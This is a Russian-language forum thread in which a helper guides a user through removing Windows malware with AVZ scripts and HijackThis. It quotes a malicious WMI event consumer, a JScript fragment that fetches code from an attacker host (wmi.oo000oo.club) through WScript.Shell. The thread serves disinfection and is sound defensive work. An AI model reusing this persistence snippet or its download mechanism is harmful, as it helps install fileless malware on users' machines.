[iskander-k]

Выложите логи по правилам. http://forum.oszone.net/thread-98169.html

[RyuSick]

ВотCollectionLog-2018.01.05-12.33.zip

[RyuSick]

iskander-k, еще что-то нужно?

[Sandor]

Здравствуйте!

Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО.

Выполните скрипт в АВЗ (Файл - Выполнить скрипт):

Код:

begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
 QuarantineFile('C:\Windows\help\lsmosee.exe','');
 DeleteFile('C:\Windows\help\lsmosee.exe','32');
ExecuteSysClean;
 ExecuteWizard('SCU', 2, 3, true);
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
RebootWindows(true);
end.

Компьютер перезагрузится.



Файл quarantine.zip из папки с распакованной утилитой AVZ отправьте с помощью этой формы или (если размер архива превышает 8 MB) на этот почтовый ящик: quarantine <at> safezone.cc (замените <at> на @) с указанием ссылки на тему в теме (заголовке) сообщения и с указанием пароля: virus в теле письма.

"Пофиксите" в HijackThis:

Код:

O25 - WMI Event: [fuckyoumm2_consumer] fuckyoumm2_filter - var toff=3000;var url1 = "http://wmi.oo000oo.club:8888/kill.html";http = new ActiveXObject("Msxml2.ServerXMLHTTP");fso = new ActiveXObject("Scripting.FilesystemObject");wsh = new ActiveXObject("WScript.Shell");http.open("GET", url1, false);http.send();str = http.responseText;arr = str.split("\r\n");(1733 bytes)

Повторите логи по правилам. Для повторной диагностики запустите снова Autologger.
Прикрепите свежий CollectionLog.

[Sandor]

Дополнительно:
Выполните скрипт в AVZ (Файл - Выполнить скрипт):

Код:

begin
ExpRegKey('HKLM','SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy','IPSec.reg');
end.

Файл IPSec.reg в папке с AVZ упакуйте в архив и прикрепите к сообщению.

[RyuSick]

Вот CollectionLog-2018.01.08-18.33.zip

[RyuSick]

Все остальное выполнено

[Sandor]

Файл IPSec.reg в папке с AVZ упакуйте в архив и прикрепите к сообщению »

Еще это не сделали.

[RyuSick]

IPSec.rar